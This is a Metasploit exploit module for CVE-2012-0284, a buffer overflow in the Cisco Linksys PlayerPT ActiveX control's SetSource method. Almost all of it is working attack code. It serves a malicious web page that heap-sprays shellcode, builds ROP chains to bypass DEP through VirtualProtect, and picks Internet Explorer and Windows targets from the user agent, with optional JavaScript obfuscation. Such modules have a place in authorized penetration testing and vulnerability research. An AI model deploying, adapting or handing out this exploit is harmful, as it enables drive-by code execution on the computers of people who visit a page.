Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",  
:method => "SetSource",  
:rank => NormalRanking  
})  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15  
as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ  
Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in  
the SetSource method, when handling a specially crafted sURL argument, allows to  
trigger a stack based buffer overflow which leads to code execution under the  
context of the user visiting a malicious web page.  
},  
'Author' =>  
[  
'Carsten Eiram', # Vuln discovery  
'juan' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-0284' ],  
[ 'BID', '54588' ],  
[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],  
  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
  
},  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[  
'IE 6 on Windows XP SP3',  
{  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'Ret' => 0x0c0c0c0c,  
'Rop' => nil,  
'RandomHeap' => false  
}  
],  
[  
'IE 7 on Windows XP SP3 / Windows Vista SP2',  
{  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'Ret' => 0x0c0c0c0c,  
'Rop' => nil,  
'RandomHeap' => false  
}  
],  
[  
'IE 8 on Windows XP SP3',  
{  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'Ret' => 0x77c3546b, # ret from msvcrt  
'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt  
'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt  
'Rop' => :msvcrt,  
'RopChainOffset' => '0x5f4',  
'RandomHeap' => false  
}  
],  
[  
'IE 8 with Java 6 on Windows XP SP3',  
{  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'Ret' => 0x7c3424f2, # ret from msvcr71.dll  
'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll  
'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll  
'Rop' => :jre,  
'RopChainOffset' => '0x5f4',  
'RandomHeap' => false  
}  
],  
[  
'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',  
{  
'SprayBlocks' => 0x185,  
'SprayOffset' => '0x0',  
'Ret' => 0x7c3424f2, # ret from msvcr71.dll  
'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll  
'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll  
'Rop' => :jre,  
'RopChainOffset' => '0x5f4',  
'RandomHeap' => false  
}  
],  
[  
'IE 9 with Java 6 on Windows 7 SP1',  
{  
'SprayBlocks' => 0x1000,  
'SprayOffset' => '0x0',  
'Ret' => 0x7c3424f2, # ret from msvcr71.dll  
'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll  
'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll  
'Rop' => :jre,  
'RopChainOffset' => '0x5fe',  
'RandomHeap' => true,  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 17 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class  
)  
  
end  
  
def get_easy_spray(t, js_code, js_nops)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['SprayOffset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var z=1; z < #{t['SprayBlocks']}; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)  
  
spray = <<-JS  
  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
var nops_90 = unescape("#{js_90_nops}");  
var rop_chain = unescape("#{js_rop}");  
  
while (nops.length < 0x80000) nops += nops;  
while (nops_90.length < 0x80000) nops_90 += nops_90;  
  
var offset = nops.substring(0, #{t['SprayOffset']});  
var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);  
var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);  
  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
  
heap_obj.gc();  
for (var z=1; z < #{t['SprayBlocks']}; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
# Spray published by corelanc0d3r  
# Exploit writing tutorial part 11 : Heap Spraying Demystified  
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/  
def get_random_spray(t, js_rop, js_code, js_90_nops)  
  
spray = <<-JS  
  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
  
var rop = unescape("#{js_rop}");  
var code = unescape("#{js_code}");  
var nops_90 = unescape("#{js_90_nops}");  
  
while (nops_90.length < 0x80000) nops_90 += nops_90;  
  
var offset_length = #{t['RopChainOffset']};  
  
for (var i=0; i < #{t['SprayBlocks']}; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
var junk_offset = padding.substring(0, offset_length - code.length);  
var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
  
JS  
  
return spray  
end  
  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("V").first  
end  
  
def get_stack_pivot(t)  
stack_pivot = [  
junk,  
junk,  
junk,  
junk,  
junk,  
t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow  
0x0c0c0c08, # ebp  
t['StackPivot_2'] # mov esp,ebp # pop ebp # ret  
].pack("V*")  
  
return stack_pivot  
end  
  
def get_rop_chain(t)  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
rop =  
[  
0x77C21891, # POP ESI # RETN  
0x0c0c0c04, # ESI  
0x77c4e392, # POP EAX # RETN  
0x77c11120, # <- *&VirtualProtect()  
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77c2dd6c, # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN  
0x77c4ec00, # POP EBP # RETN  
0x77c35459, # ptr to 'push esp # ret'  
0x77c47705, # POP EBX # RETN  
0x00001000, # EBX  
0x77c3ea01, # POP ECX # RETN  
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)  
0x77c46100, # POP EDI # RETN  
0x77c46101, # ROP NOP (-> edi)  
0x77c4d680, # POP EDX # RETN  
0x00000040, # newProtect (0x40) (-> edx)  
0x77c4e392, # POP EAX # RETN  
nop, # NOPS (-> eax)  
0x77c12df9, # PUSHAD # RETN  
].pack("V*")  
  
when :jre  
print_status("Using JRE ROP")  
rop =  
[  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
0x00001000, # (dwSize)  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0x00000040, # flNewProtect  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
end  
  
return rop  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows Vista SP2  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/  
return targets[5] #IE 8 on Windows 7 SP1/Vista SP2  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/  
return targets[6] #IE 9 on Windows 7 SP1  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
print_status("User-agent: #{agent}")  
  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have a setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
p = payload.encoded  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
if not my_target['Rop'].nil?  
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))  
end  
  
js = ""  
  
if my_target['RandomHeap']  
js = get_random_spray(my_target, js_rop, js_code, js_90_nops)  
elsif not my_target['Rop'].nil?  
js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)  
else  
js = get_easy_spray(my_target, js_code, js_nops)  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
sploit = "http://"  
sploit << "\x0c" * 261  
sploit << [my_target.ret].pack("V")  
if not my_target['Rop'].nil?  
sploit << get_stack_pivot(my_target)  
end  
sploit << "/img/video.asf"  
  
html = <<-MYHTML  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>  
<script>  
obj.SetSource("#{sploit}","mpeg","","","");  
</script>  
</body>  
</html>  
MYHTML  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
end  
`